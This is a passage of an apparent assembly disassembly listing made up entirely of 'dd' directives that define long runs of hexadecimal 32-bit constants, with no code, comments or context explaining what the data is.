0C70DFF1h dd 0E8E982E0h, 0C6DFD765h, 1A29509Ah, 3E0EC416h, 8BAAB087h dd 0B0C86823h, 69F1E653h, 25A1A5B2h, 0E2A97454h, 0F8344CF7h dd 180DA04Ah, 9557605Dh, 958074ACh, 8D0C8EC9h, 26B4C969h dd 44BA2390h, 0F56E7001h, 150EFC5Ch, 0B57C896Fh, 972CC00Bh dd 2355F201h, 44C8E476h, 78CFF75Fh, 0C52C930Dh, 2B1E1120h dd 0F3B9F98Ah, 5383C106h, 9384AF09h, 866A6573h, 94BDC439h dd 0EA5DAFEDh, 6047F50h, 0C6E29717h, 0EB07653Fh, 6D064129h dd 1786700h, 72A420AFh, 6F5E03D5h, 0DAB740EDh, 0F76869FAh dd 0F1B8301Bh, 2928DBAh, 0C250FBCh, 0F6C42126h, 7B4069D7h dd 0B067B3DCh, 0B89916A4h, 37EF67Dh, 0E46586ACh, 7DF44EE4h dd 0DB3A3E98h, 0CD98FC90h, 170CAC6Dh, 5D775DE2h, 0C72BB775h dd 8246348Bh, 1715A076h, 2DDBE1Fh, 0C8453ACBh, 0BC9E7DFBh dd 10DF1639h, 2BF5D4B6h, 631FE812h, 6030B30Ch, 2C223359h dd 0D8361374h, 0B5D9096Eh, 0AF9823D3h, 8C430F97h, 3084621Bh dd 0E6D7396Bh, 57C8C594h, 6107DE5Dh, 9315277Bh, 2701CEB0h dd 0E9ECA03Ah, 2CB7DD00h, 0B3A7EC7Eh, 823FA541h, 90FD941Ah dd 0BED922B1h, 941B95A5h, 0C963268Dh, 68CCE6DAh, 4831F749h dd 0BD46564Bh, 0D56590C4h, 0F9E57E64h, 8555178Bh, 110FF4FCh dd 3EC06416h, 95F7F072h, 0F0DEE14Bh, 0D377AD87h, 5F684674h dd 1CB342FDh, 0BA409E75h, 99E7302Dh, 6E0A27D3h, 0A880FCB0h dd 0D6646CE2h, 92BDDC3Fh, 57CA0299h, 31480C72h, 0E1A0D110h dd 745EB8BBh, 0CB54241Bh, 0E15B0307h, 482950F6h, 0D2606F5Bh dd 3757ADA7h, 7A2D3DDEh, 0D6D6EA9Bh, 5B5948E5h, 0BBBE4DF9h dd 0CB74CBEBh, 7AE4E248h, 1AA26CD1h, 8689605Eh, 0F3629E1Ah dd 51EAAC16h, 0A0CDCB81h, 97174E5h, 0B2E267E0h, 13E36F6h dd 0DEBE55E3h, 0D96FD4FBh, 5CABE746h, 0A9D92CBFh, 6BC178B3h dd 0D583584Ch, 0BCBEC5DEh, 7169A8D4h, 0D4565D4Fh, 52759C2Fh dd 44D718E8h, 0E8127188h, 0F5D6598Bh, 20A5E441h, 0F725DB04h dd 8DCE64F3h, 4D7E58CDh, 2851116Ch, 0FA50E50Fh, 86B4D01Fh dd 4A1678EFh, 0C04BB1ADh, 669FBF0Bh, 55AE9C16h, 0A7E007B8h dd 77275F49h, 530DF690h, 2A9C2CC4h, 0BC5AEAF3h, 0DDF4E9F1h dd 85AE21BAh, 3828B7D3h, 0F27012D2h, 0FA406196h, 0E71D6CF4h dd 56A30CDDh, 0E78B5A19h, 0DB584C61h, 37BEECAFh, 0D4F1926Fh dd 0E924B59Eh, 3C178278h, 8D49B2B3h, 0F2CC23DEh, 4FC7BDACh dd 0F00B8A0Eh, 0C2D92557h dd 0B2E81DB2h, 9B54954h, 619A0255h, 3A3650F8h, 0C64CE60h dd 1554D0CAh, 0ACA9FCD1h, 977527F5h, 38E3922Fh, 7AE2A0BFh dd 0AF293388h, 3D9C0674h, 48D5211Ah, 0CCEDAFF5h, 3FF89D17h dd 2CCAFA6Ah, 4E5D82E1h, 0C4489A9Dh, 9D57EFF2h, 0AD4DE8EBh dd 87A2ED34h, 0E78D6286h, 79937344h, 0DAA3AC5Ah, 0B2EFD650h dd 7F76BC8Dh, 0B3E12BA6h, 0EE079482h, 1D2018ACh, 0F38C58C0h dd 0F4F36915h, 0D2D95346h, 253EABD5h, 14D3D6DDh, 71F60F8h dd 4D26E4ADh, 0F6FBB6DBh, 2D0082h, 0D69B0E3Eh, 0C86899FDh dd 314F9EB8h, 90E277D7h, 2BD5667Dh, 627AD7CBh, 4FBFC6E4h dd 6B0A5ADBh, 9063DA28h, 0DBFCA98h, 0C7D5DEBh, 0FA8AF2Bh dd 97C52D27h, 0BBF083BFh, 0ACFD467h, 86551D56h, 4F58237h dd 0D2DCBECCh, 0B700697Ch, 0DC3C7BF2h, 0FF78FFFFh, 0FA854BF0h dd 2CF4F8EBh, 3B7AB9F0h, 6EF38CE2h, 0F0CE4D9Ah, 0A7204754h dd 6EDE8734h, 0C7DF2D3h, 0B06A21FCh, 1DC8887Eh, 0CD3FADB5h dd 0CB2F7CE6h, 0EE4C724Eh, 0F0ADB42Dh, 2C1CF367h, 5566570Eh dd 3CC3644Ch, 4062461Bh, 281199F1h, 38F9EAD9h, 3B037EFCh dd 1E185908h, 0AAC284A5h, 19F10280h, 0E9DD162Eh, 0BB9C9241h dd 4F14ABCDh, 0CD9490C1h, 880C66EAh, 0DEF07C9Bh, 0EBDF2167h dd 0FFAC99CEh, 0ABCF8E7Ch, 0B69C2C5Ch, 0F5D4130Dh, 1E5D8ED0h dd 0FCF80B9h, 0B57D3270h, 31F4E666h, 5FFB7A2Dh, 0FF820056h dd 0EDF4C12Fh, 5CA40C4Bh, 67160C0Dh, 1D4388F2h, 897DDEE8h dd 0F894926Ch, 459F265Ch, 9A94BF4Ch, 75716131h, 0E07239h dd 6AEE1CAAh, 0E0730F81h, 5879C50Eh, 225B6245h, 6EED1191h dd 0F3C032CCh, 50C14FD7h, 6C057363h, 16E2B914h, 0F3C0A3C8h dd 7E2BB5Ah, 0ACFF2C9Bh, 85E7680Ch, 0A4540E0Ah, 0B00D1721h dd 84B1A39Dh, 0DBFBD606h, 0FF61DCCCh, 0D6D04608h, 274DD6A2h dd 0FA8DB05Ah, 0C843A333h, 5D2B3B1Ah, 9A63A710h, 0FE7088F6h dd 553A80A6h, 52FA2649h, 60567D1Eh, 0F9A0D979h, 0D7A92EAFh dd 3A6BD85Fh, 4ACE6BBh, 95853450h, 5647403h, 0FB6E727h dd 0CC25FAE3h, 0EF96116Bh, 0D0273F22h, 0DFE0BB0Ch, 920B0606h dd 715B8CF8h, 4AC4BB1Bh, 0E6C53EBFh, 32A1BEB1h, 475C3617h dd 0A55F9C89h, 0BCE89254h, 0D15329BFh, 0EF696BCFh, 74967EE4h dd 0D8182AE2h, 0FDD9B5CCh, 2A435D4h, 37B9ECEEh, 56A9EA0Dh dd 0F9EFC350h, 0D3DE4530h, 18A38037h, 0C4C7FC44h, 0F7C34763h dd 4D2BD191h, 14AE5D77h, 1A584906h, 0B88F777h, 17F7D087h dd 0D18FDF1Ah, 608ACE2Bh, 62E6E035h, 8D055296h, 5863408Fh dd 5309841Bh, 0A2D3C337h, 0E0A34AD9h, 5F824FAAh, 94873127h dd 0C520D136h, 0FD6742DCh, 23B984B1h, 3C3C0863h, 4BC0ADFAh dd 0A5D4485Ch, 1EA4EC21h, 14AB378h, 9714F0C5h, 0CFE04FC1h dd 0BDAFBB21h, 44E2EB5Ch, 0AD2160FBh, 968C8005h, 6E5479BBh dd 0F0B209D7h, 0B4D81950h, 2BA9B0AEh, 78C7B2E6h, 7253479Dh dd 9D3A0D8Eh, 0ECC2AF20h, 0D18518BEh, 0F1A2C361h, 3327FECBh dd 40F0E7F1h, 0D2178596h, 7AE0523Dh, 0AD042633h, 1903F41Eh dd 2844DC79h, 459838A7h, 0FE502EF4h, 285C6CBBh, 24781D43h dd 4944B489h, 6C07EA4Fh, 6A34272Eh, 506B467Fh, 7DD3C3D9h dd 42BE1916h, 0DE1AF8ACh, 0B98C9E8Dh, 0BBEC3F30h, 64032B0Fh dd 0D3F548B2h, 0A29E6823h, 3CD43B6h, 78E7E054h, 0FC32CED7h dd 71F0A9A4h, 0B915D6BBh, 1420836Fh, 0E06133BEh, 21B59FE9h dd 0ACAB0EDAh, 1995E077h, 42B1C973h, 0B8BA676Eh, 0E49E8CA5h dd 0E1B691FAh, 0E659A978h, 3C5B00EBh, 0BEFFD53Dh, 1829B239h dd 0F9183EDBh, 0CE2F75FFh, 4704ED8Bh, 618606EEh, 0F6B435DBh dd 672BAB32h, 796F5165h, 2BA0120Fh, 1EB0760Ch, 0DAE3E098h dd 0F039EC19h, 8AF3644Bh, 0F6BCFF86h, 6B7266Fh, 441AC540h dd 0DE0F88E8h, 0C9AAFC85h, 2954B5E5h, 0D783D5FFh, 6B7C1AFEh dd 2592D599h, 1C390AAFh, 741BB74Dh, 0C31F29C5h, 6887620Ch dd 649C4C79h, 918CAC9Fh, 0D326C058h, 0D76D489h, 0B3D50D53h dd 4AB35D59h, 0F78113E3h, 95C0BBC3h, 5BF46869h, 7CFF1660h dd 35861B0Fh, 0F547BF18h, 0F6B34F47h, 9F4F7F96h, 0CA85D618h dd 696BD352h, 0F0C5A2A3h, 8DE24671h, 9F39C41Fh, 2232FFD9h dd 6144EB89h, 0F969490Bh, 6ABC906Ah, 4A2DE727h, 94B0805Fh dd 0CC373488h, 3198C000h, 0C3934247h, 6D1C708Fh, 0E2EBD016h dd 6505B8D4h, 8D94B623h, 0C8D56F0Bh, 69234E0Ch, 29397CE9h dd 2442A788h, 33D47C8Ah, 5BFD3D23h, 62AA5BC8h, 965081EBh dd 0E62758F6h, 86D513E0h, 170551A0h, 0D1A8DBACh, 170AAEA6h dd 0BDFB88BFh, 0D6B11A3Dh, 5F8A3A91h, 804FC9A6h, 58315F22h dd 575A3D06h, 9AF43EB9h, 0F67793CCh, 9C187E91h, 0CD5A0700h dd 301076A1h, 74648647h, 0D02D0AFEh, 0F18171F6h, 2BFBAABFh dd 0B8AAEB01h, 0FD9FF315h, 0A8CD8636h, 1F08E71Ah, 44437A76h dd 0AFB12C20h, 4D47D2C4h, 52E2784Eh, 8DF7FE11h, 183D4B43h dd 378EA38Fh, 2EA23572h, 0C68AAC25h, 0D0FAF482h, 0F87DC017h dd 0A1F26239h, 0AF9B2517h, 0A2DBC554h, 0EA73BBEBh, 60B93417h dd 52741F58h, 3358C9Bh, 0E4FA1C67h, 660FDDEh, 21C8F366h dd 7E9ED9Dh, 87770C9h, 5E9A71C8h, 9984B204h, 65CF850Dh dd 3D7E33AFh, 0E749E859h, 178B9C6Eh, 22FA75AFh, 0E052892h dd 0C9CFCC97h, 21DAC968h, 72C4BC0Ah, 0AFAC23F5h, 9969059Dh dd 1C0423F3h, 7CACEAFEh, 3F86FB66h, 9C4C148h, 305F15Eh dd 0E61303B9h, 846B9E6h, 229662E0h, 0B03F9Eh, 0F2496352h dd 546D8A9Bh, 6272A060h, 7E77E88Dh, 6D5C73BBh, 0E7F8DCDFh dd 0BBF12E92h, 0AFAA4F90h, 0A83D6168h, 0BBDB0191h, 14576B30h dd 7A55E0E2h, 9CDAE4D9h, 0F6A1FF15h, 0B396576h, 0BA39338Dh dd 128B456h, 0A84B3106h, 0E5D0767Eh, 4A590BB4h, 0ADEEFF18h dd 0CC31A1A5h, 0EB2EDA6Ah, 8294501Ch, 0A3740970h, 0B9BDF152h dd 0D0388EADh, 0DF0D5D1Fh, 0CC86BF74h, 8996DFCFh, 7E2938ABh dd 1600FD0Eh, 39E1C19Ch, 0A60AA1E7h, 0D09B7279h, 0B5412EACh dd 3F6C3DA5h, 4902BD85h, 0A91402FCh, 94BF3162h, 82652D76h dd 0CFD21BE4h, 993258D1h, 2DF3A514h, 580B612Bh, 0AE6A8F0Ah dd 6F3964ECh, 1B2028FEh, 8D34ACC8h, 0B3B2AAA1h, 28D6252Dh dd 965B2D4Fh, 0CE0CB428h, 0C3DADA5Ch, 6BFAF9DCh, 0DA0E5EF6h dd 4637EA8Bh, 67A09F4h, 8DF5F1B4h, 852283AAh, 831938CEh dd 0AB21005Eh, 97A84CDFh, 0A2A3BEBDh, 6BFC3500h, 632EFCD3h dd 5E6AD9FAh, 5E89C865h, 6961E075h, 97E1CFE1h, 0E9D16A75h dd 16837116h, 46F98831h, 0BF8C11F1h, 57F2933Ch, 0AF8CBCE8h dd 7C69F1EDh, 0C75202F0h, 0EC96D6E8h, 8C1F4C87h, 0F9036505h dd 0E2A84648h, 0C11FB14Fh, 0FCE325D5h, 23044D5Fh, 7B615655h dd 0B86B995Bh, 0A300B8BEh, 33E96ECEh, 0F2F3B939h, 0F9A317Bh dd 16C8D0F3h, 3BB8B8A9h, 37CED88Eh, 5EEEB4A1h, 80B7558Fh dd 1B104CCDh, 0FB330B32h, 32EC93A7h, 26F70A69h, 0F33DE02Ch dd 847819B8h, 0DFD3FE58h, 0B1A1921Eh, 0EA54E6F3h, 0C51870C9h dd 491B3FD1h, 1EAED0AAh, 0D0476188h, 6F5E7AE1h, 0BEA8C584h dd 1DE97C4h, 1635F750h, 0B474D20Ch, 9BBE8A71h, 8CCAEB35h dd 0D06D56E5h, 0D24FDC52h, 6120681Fh, 36E89926h, 3F9388F0h dd 0B0B0243h, 6B2D9181h, 0CCB0E07Fh, 0E7F05E65h, 0EE139F21h dd 52E5B094h, 0A1521B0Eh dd 0B238A857h, 26E7F68Eh, 6BF8E33Ch, 0E1155E2Bh, 1AE81478h dd 0D96B8471h, 9E04620Dh, 602D816Ch, 8256DB9h, 0AF664251h dd 5034B8C5h, 0D1125374h, 97E7E75Ah, 0E4B0799Ah, 93A868FCh dd 0ADBC8A25h, 92020DC8h, 86452E9Bh, 5C4D6C0Fh, 1F160C4Ch dd 3936CB4Fh, 0E9389338h, 0B2E6D9F5h, 892C27ABh, 0A62B6105h dd 0A9AB9EDBh, 282F923Bh, 0E47E18B3h, 0CA1FFEDh, 8A22568Fh dd 7F34F87Fh, 0C98C3B9h, 0AA74D06Dh, 0A6C2051Ch, 2D1651D7h dd 0F26E947Ah, 71968515h, 978560DFh, 608A5201h, 0BB38658Eh dd 6151EEh, 36BCCD6Fh, 0A29F5646h, 0E2BC38A6h, 1B863C88h dd 0B671361h, 2ED35A0Dh, 47EFE7B3h, 57EE2735h, 0B3E784DBh dd 5267FEBAh, 84C456C2h, 123C73C2h, 0EFD1A67Dh, 0D4254355h dd 1FDF16FFh, 0F3ADFB5Fh, 76F911B7h, 3BB15FC6h, 8B22D3A7h dd 0BAA1C187h, 25DAE252h, 0DD81498h, 814B7A1Eh, 0C394EC7Fh dd 59FE638Fh, 0E241B0E9h, 219A074Dh, 48890426h, 0E87910A3h dd 70C5DACDh, 0BE0F9C2Fh, 0A91461BFh, 0C6B2F68Fh, 0D41033E0h dd 0E691ACC2h, 77EDE667h, 0B36F6634h, 55E49C1Bh, 0B211D317h dd 0C2408AEBh, 0D7539F9Bh, 0B7E67E43h, 0B3062DE8h, 51B6FB59h dd 2E22DDCCh, 604C946Eh, 0B767ECF7h, 3A3BD928h, 59150813h dd 8DC4B1Fh, 7FF51AAEh, 2428D03Ah, 95D58D4h, 0AF433C7Dh dd 561F3603h, 9B6AF1Dh, 0F45EA924h, 4A038298h, 2C6C7A48h dd 27F101A8h, 883C4E24h, 7C403FDCh, 0A38C23Eh, 0CDC1B28Bh dd 0AF217C42h, 0A76A0A7Bh, 0A008B452h, 1105C988h, 1372AD1Bh dd 6DBECA0Bh, 0AC15D706h, 99C06355h, 0F4566DC3h, 25A2FBAEh dd 6926DDB5h, 0B90A1156h, 27B97EDBh, 7138EC58h, 0EDDC4694h dd 803842C4h, 0AC0191DEh, 57C3A9F2h, 41222764h, 0CD857258h dd 9A986319h, 0E9E80739h, 2E05FCEDh, 4833341Ch, 0E5E6A9FEh dd 0B2E471Fh, 0CEADCC68h, 0E3F87870h, 3BDB9B7Eh, 0DC2BAE46h dd 0C43B3F3Ch, 840CA63Ah, 0A022E3E7h, 0AE348D73h, 4242D5D8h dd 3C0A4366h, 4F02BBDAh, 5E3C7EDDh, 0D99B6708h, 7E31A30Eh dd 0A52F75AAh, 39E9E507h, 8901758Dh, 8F3C4052h, 0E47CB51Dh dd 0D4C65C70h, 0FF068D0h, 0DB3F9DCBh, 0D19CB656h, 0C11B3CC6h dd 0BD562744h, 8A86F44Dh, 9A4DAECFh, 0BBC4CB7Ah, 8034E94Bh dd 83A9035h, 9F65FC3h, 6F1D55B5h, 0A81FA7Bh, 0C8198390h dd 4F35145Dh, 0E19ACCFBh, 4A30833Bh, 89B8647Ah, 26A17C0Ah dd 906DDE98h, 0BC1747C8h, 926002EEh, 7AD32DF9h, 7869FD57h dd 0BA3BECBCh, 9E46A258h, 0F923BFA9h, 5D58E13Bh, 0CFF1E136h dd 43C77A75h, 9A18CB95h, 10BE8B5Fh, 0DC7B00ECh, 84CD4A19h dd 3D9AB992h, 709E2298h, 1D71EBD4h, 874ABF3Ah, 736AFA02h dd 3C63BDBAh, 0DE62D885h, 0C84F3A37h, 6B8D0F9Bh, 0EF7D6D1Fh dd 0AFE0797Dh, 4F4DC708h, 0EAE05C79h, 456F365Dh, 0D87EFCEAh dd 0B1C41F48h, 0D4633E2Eh, 30C33287h, 0E4159AB5h, 0D9C58542h dd 0BE41D04Eh, 15415E18h, 0BAF7F936h, 69DCEAC3h, 51C6A807h dd 0F40EDFF8h, 0CA103307h, 9B845E7h, 902778DCh, 308A51D8h dd 918ED72Ch, 0E705E77Bh, 0EAFE1843h, 14BD6CF6h, 73C9E7B7h dd 3D3A270h, 48241506h, 0CB6D9C9Bh, 16F415F1h, 0DEF5F488h dd 0F2FA27C9h, 7870218Dh, 8C823772h, 0E197451Ch, 30ECFC1h dd 6DF440EAh, 0DD01A212h, 1FF9F20Ah, 0E36380B5h, 0E499AEB6h dd 0A2C63990h, 1DF302E6h, 0E0D7BBEAh, 8839758Fh, 7743A634h dd 8D4CC831h, 92E25A1Fh, 3845D723h, 50427E69h, 1AFD7A58h dd 8711A718h, 14D95695h, 42BBAC93h, 29E6CA8Ah, 9FE6ACCDh dd 45473C8Ah, 12963014h, 8B120C87h, 0B9964EE6h, 0B8514D7Dh dd 4E3EA88Bh, 0E41EEA9Bh, 0E17C66A1h, 354FCCC2h, 0FF02F092h dd 5EC76903h, 6FE10396h, 0EC1A8B1Dh, 5871032Ah, 0C042B2B8h dd 457C5082h, 501C644Fh, 1787D2F6h, 2E0F6C50h, 1B38B439h dd 0A33DA1F3h, 692FC207h, 65D76E10h, 0D577406h, 243DEDC9h dd 0F64397E7h, 0BED51623h, 0F50C5DEh, 0F80FA2E0h, 0C61D81E6h dd 8A945Fh, 86252758h, 0FB4F52CCh, 6D518B86h, 0A43809F4h dd 0E6AC071Fh, 61B6BDD2h, 22747D02h, 0BAAA5B32h, 24BAFC39h dd 0C8D34005h, 83447A2Fh, 0C1A9023Ch, 0E03BE36h, 75B357EFh dd 5A5681B1h, 71154F3h, 1179DEF1h, 0CACFC463h, 480A57E2h dd 6651FFEAh, 7ED89E0Eh, 994DD2E2h, 0B2DA663Fh, 0EDCD3891h dd 57665BD1h, 0C037AE0Ch, 0AF2FC608h, 0AA5301FEh, 0ACD308Fh dd 5781ABE9h, 0B3E30ADDh, 6119732Ah, 8ECB4E30h, 6C0C02FBh dd 8671149Dh, 5DD878F1h, 9B512C61h, 0AC3C73AEh, 86CD8CFEh dd 8CA4B3C9h, 47410613h, 0DE5975CFh, 857AE6CCh, 567730Eh dd 7BA96EFAh, 0E6DE4DCEh, 0BFF43DA5h, 381386CBh, 6DFAAD5Ch dd 630D153Eh, 936BBFE8h, 698B4A5Dh, 78A5A46Ch, 739D95EEh dd 0E2DA7F2Fh, 0E1088385h, 348A7735h, 72D2B41Dh, 4E0273BFh dd 25E20D8Ah, 0A4944223h, 0E0B44CFAh, 0BD6CA54h, 0B18D5E1Ch dd 0CF1A6D53h, 3A14C8D9h, 6ED61274h, 0B6AE8468h, 0E180698Dh dd 50BFCB24h, 0DB8E1DBDh, 98308934h, 0D902ADE1h, 4B86D75Ah dd 0D2E00D79h, 902AD03Bh, 8F1FBDBAh, 120E9FB3h, 0D41EE928h dd 132871A8h, 7DC5D0F9h, 39A0F0F7h, 0B1C60E18h, 90D6E7D0h dd 2CB0E7D2h, 7A3CA27Bh, 0FB36CD88h, 647288BFh, 0CA4F2CAAh dd 7D6EEABAh, 0BDA105EFh, 39962C21h, 819E3874h, 17496403h dd 225A5BF0h, 58D74AC2h, 0D8AA0D99h, 0F54317ADh, 0B39FDDBCh dd 0D246720h, 2579002Ch, 66FCD254h, 0D16C6303h, 44A9E526h dd 312E17D9h, 3ADE783Fh, 0E2F98AE9h, 0A4916431h, 16B7BC0Ch dd 0E5E27CB3h, 0B6000435h, 53C651E7h, 0D0EB1768h, 63478B08h dd 0A2E0CF92h, 0DAE434DFh, 0C0122404h, 71F8B165h, 98E78715h dd 0EF5586E8h, 87B401B9h, 86F9F13h, 0E4B936BAh, 0D2AC537h dd 66075D4Ah, 0D2B83CF3h, 60CE20EDh, 6304A66Dh, 0D2FF9EACh dd 248DF896h, 1B8CC1A4h, 6F2A78C8h, 7608E64Ch, 0AE1FBFE9h dd 2F971A5Dh, 90996C18h, 0C0F61188h, 64D276B6h, 7B5E2B75h dd 41BF3F41h, 0EAB33D42h, 0DFEBBAA1h, 0CBA91E96h, 110F2F3Ch dd 0CAD2EE18h, 42051556h, 0A949D1Bh, 38C94EC6h, 0D53E3558h dd 3E759E8Eh, 7B3F3421h, 0F86E4216h, 76236450h, 0C4DC0684h dd 0ECB61EEDh, 0EFF9C3C1h, 22D303BAh, 1FBE8D3Ah, 42B30913h dd 0F3B649B5h, 6A5CAB84h, 0EDCCF5FEh, 0E72E4969h, 2107CB86h dd 0F205BAAh, 0C36A0CC2h, 7527C84Ch, 32A8F82Ah, 6E9B54Ch dd 7F9DDA3Ah, 886FE8A8h, 8AD52A60h, 0E959B2DBh, 0FF51D334h dd 7E846023h, 17D0F53Fh, 78972380h, 10B94CC5h, 7B0C3E4h dd 7FC561A5h, 35DB108Ch, 7F93426Fh, 7AA64C21h, 0C402B437h dd 0A159F28Ch, 3D24701Ah, 0B0B5AD3Dh, 0AE615186h, 0F93E1B4Fh dd 0C901D8EDh, 4073677Bh, 155C40DBh, 0B49F7D7Ah, 679201CCh dd 9132B564h, 0D7B69DFCh, 0D94189B2h, 0E06E7A5Ch, 9481366Dh dd 0C9EC905Bh, 5212C196h, 33C12F83h, 0DA430960h, 32F963E7h dd 0EB641236h, 70692665h, 8D9F0055h, 7365DDD5h, 0A948861Eh dd 17CCCAE7h, 9E66477Fh, 323EDBD9h, 1B6A6ED1h, 59A0DEA8h dd 234984D5h, 0FA3D575Fh, 23B107A9h, 0F0C92F99h, 70BBBA36h dd 800EF65Eh, 7C55341Eh, 6056CA8Ah, 0E32CF8D0h, 26BA9C1Bh dd 7F85ACD9h, 6E600F8h, 379E0546h, 0B2A3DB3Eh, 0A0D9F6C6h dd 7AC3BC52h, 166047DAh dd 99DE431Ah, 7D97FA6Bh, 16C54C4Bh, 36E11DC6h, 0CDC9A214h dd 0E2B8FB60h, 0FD5B7BA1h, 793BCD4Ah, 12A010ACh, 0D2205CB3h dd 9789DE59h, 0EF2BE6C3h, 4D20C30Ch, 8D867CA3h, 0BC16DDC6h dd 0BA154941h, 0F10BC7A5h, 9D629BCAh, 0F567E852h, 183F5C6Ah dd 46E66BCDh, 2FC405ABh, 0CD7EDE65h, 0C5E380E1h, 0A9D5B1D0h dd 5AB62D64h, 0FA3BAA4Ah, 9C723395h, 947FA63Bh, 74F1EEB4h dd 4A196C11h, 0C52BFA6Bh, 2C609B7Bh, 3D7099F5h, 0EAD106D2h dd 0FD8B7AF2h, 83293A2h, 38EDEE1Eh, 0D725F4ACh, 2AF40F9h dd 0DE03FE26h, 33519033h, 0CEAA7DC1h, 41BCF0D7h, 0A9D7DD39h dd 0CEDEEDE9h, 6F6F6956h, 44472B9Ah, 88129B2Fh, 0D70D52EBh dd 0A422395Fh, 2567B4CCh, 8E5CD306h, 0DD10AF41h, 0F72C2634h dd 383620B4h, 0A011CAC8h, 562D787Fh, 0AE909CCDh, 0E821274h dd 5C789989h, 0FD3F4BFEh, 56D30DE8h, 0FC87F9D1h, 14424018h dd 9F6FF175h, 17178C6Eh, 5C370B63h, 73CBA349h, 792F76A3h dd 0EBDA246Eh, 4904A2D9h, 0D006A41Fh, 0D7CEB927h, 0CE055296h dd 0A1439EE3h, 0FA7F888Bh, 44E19A51h, 2F603CF3h, 76A9D5C4h dd 9885A09Fh, 9D85F59Ah, 957B4C84h, 3625D668h, 2509F5BFh dd 3A5A17EDh, 9820CF6Eh, 18D57322h, 23403F10h, 0FB7A135Ah dd 2582CFEDh, 3EBB19D9h, 3046A099h, 0BDEB6B6Dh, 0F8775A17h dd 862612ABh, 19FA886Bh, 40B8AA57h, 5286DB08h, 0E17D4227h dd 45B0EDF2h, 9BD783F3h, 368BA48Bh, 4B7EB804h, 0BFC4F5EEh dd 586D542Bh, 56E85704h, 0FEF0EBAh, 94E0F130h, 0B9168EBEh dd 76DB52C1h, 0BD647C9Dh, 968EE95h, 0D5899453h, 2CA78A84h dd 0B0AFEAB0h, 2E171B3Bh, 47EAEEDEh, 0F7EFD1A7h, 31F5270Eh dd 8D08B4A5h, 4D6171F8h, 39BCD2C2h, 0E18285F5h, 12247A0Ch dd 0F44F92AEh, 793BFE70h, 0AC556AB2h, 578EAF1Eh, 0C1E3AB8Ah dd 524C879Bh, 2DC9C14h, 5169F0DFh, 0F376AD3Dh, 0E290E5F6h dd 52F90363h, 70775F96h, 928CE63Fh, 0C3C216FCh, 0F875B720h dd 0D9AEEBB0h, 1D78CB2Eh, 0DC3734B6h, 6014008Ch, 86774D07h dd 437C070Bh, 9C6A21E5h, 20A6B13Ah, 0C99B2C77h, 18664D33h dd 93A54539h, 92027152h, 180C3EC5h, 393638A7h, 0EF145118h dd 0BB7C05E3h, 27082C44h, 0B030E976h, 49160D50h, 0E46EB575h dd 0C0138A08h, 74641308h, 59A42557h, 4F30EBC4h, 4805AFB3h dd 9715FC08h, 88D2F3E1h, 0D3A80220h, 0BECD343Fh, 0A0A27031h dd 0D505DFDEh, 6677C02Dh, 87BC6710h, 1D1D4CB7h, 12EE4D6Eh dd 0C593E3AEh, 5B465AA3h, 0C396C9F3h, 0EBBD48CCh, 3459542Eh dd 0C5919A6Ch, 2282C6DBh, 0B5A5A98h, 5A0F9D3Bh, 45CD47Fh dd 0AD03148Eh, 9B953C7h, 57A3E5h, 0F000F4ECh, 0E7AFB844h dd 2F09EA8Ch, 0B8A07743h, 0E85652FFh, 6A547B6Ch, 295E00C6h dd 0CD9658C2h, 674BEA7Ch, 4242A067h, 0A1C2630Dh, 0E83C9567h dd 0C96AAC9Eh, 0CF3DC4E0h, 30E2E71Ah, 0F55CA155h, 8267A12Dh dd 56545F2h, 0BE996668h, 6250A918h, 0A6EED931h, 105F4AC3h dd 477DB2B1h, 5E831993h, 93C1050Dh, 2A0DB7CEh, 238647DDh dd 35F1001Bh, 368200DDh, 444EC2A2h, 0E88E90E5h, 0D44A8D28h dd 0EA35C47Ah, 918E38h, 0FDC51E0Eh, 5F50DF01h, 89EBC4EBh dd 0E60B3276h, 6407A6ABh, 2ADD1BC3h, 0B7710448h, 72BDB0DAh dd 78AD9311h, 0A5A2A5D9h, 5D48EB4h, 644C20C8h, 53BC75BEh dd 15B75214h, 0E7A69A86h, 29E93884h, 9ABA6EEBh, 41E864A2h dd 0EDF644FBh, 17FF198Dh, 8D971CFDh, 84AE2B0Ch, 0A4F35ED4h dd 0FC54D330h, 0D2150BDDh, 4D83A6D7h, 0EE0B2DB0h, 0AA3C5DF9h dd 578E9342h, 939CF77Dh, 4D7EAFB0h, 0A3B0D896h, 0FFDCF63Ch dd 9B0D7475h, 6D436A36h, 0CEBB7216h, 5F1C98C6h, 8F61610Fh dd 0E113B74Eh, 0E29DF7C0h, 0E3DD6F96h, 0E724DED9h, 51F51CCDh dd 11BB2454h, 9253A0CCh, 0D9B5A3F1h, 0F6845865h, 0DFFFEDAh dd 0AC9D5F52h, 0B1FDDCBFh, 54682B70h, 571238C9h, 65014020h dd 0CF827ABFh, 0AB0D180Bh, 0E1A09E46h, 560477DEh, 0FA3F7199h dd 4C1AEBD9h, 0E21DD81Bh, 43B66FC8h, 0BE57CE4Fh, 700729F6h dd 423231DDh, 28AC0CEFh, 593FCB05h, 0A7581E94h, 31219E92h dd 6DFCD642h, 30C86395h, 2CBF7E09h, 76EFE8FAh, 50B6208Fh dd 6CD90050h, 81092187h, 26522828h, 7B8BBBB7h, 632242Fh dd 0A209272Eh, 214065D1h, 1E67896Ch, 20B9B585h, 276833E0h dd 0ADA8CEFCh, 2512D7ECh, 5D258F91h, 0D0EBAD73h, 6A9E64AEh dd 6F92568h, 6F275FAFh, 0FD9F2A56h, 5B69D68Eh, 8205D740h dd 997D56A9h, 2929D316h, 5010F88Dh, 0B5E3742Dh, 23883D96h dd 112ACE03h, 0FB61A7E0h, 0CD4F1DC4h, 30DD805Fh, 6684757Dh dd 0D72207A3h, 0DDB387D7h, 668F3757h, 90287FB4h, 0AF3A23E1h dd 2A3D431Ch, 0D20F3F69h, 0BC372935h, 94B0A6C5h, 655E0932h dd 0CCD3886h, 72E1B941h, 0F407B1A4h, 0A37B404Ch, 192BED8Ah dd 97E3447Bh, 3427EB26h, 10484977h, 0B313EA5Eh, 0FBBF03BAh dd 67CD3800h, 42BAEEE2h, 0EB5BBD4Bh, 437F589Fh, 44BE827Ah dd 2EFB98ADh, 54103F44h, 0F17017F0h, 0E619D512h, 0ED85C171h dd 3809954Ah, 0DDC084D4h, 89519119h, 84CA958Ah, 1E44611Bh dd 21EA2A1Ch, 701A458Eh, 8F8F3B3Ah, 672E8530h, 0F6A3CCD4h dd 65574D6Eh, 8FFFE3A5h, 21489DE9h, 1FADD271h, 0CD785D4Ah dd 0E6D3B67Fh, 0DEBFF316h, 10636C4Fh, 787A39ECh, 85DB827h dd 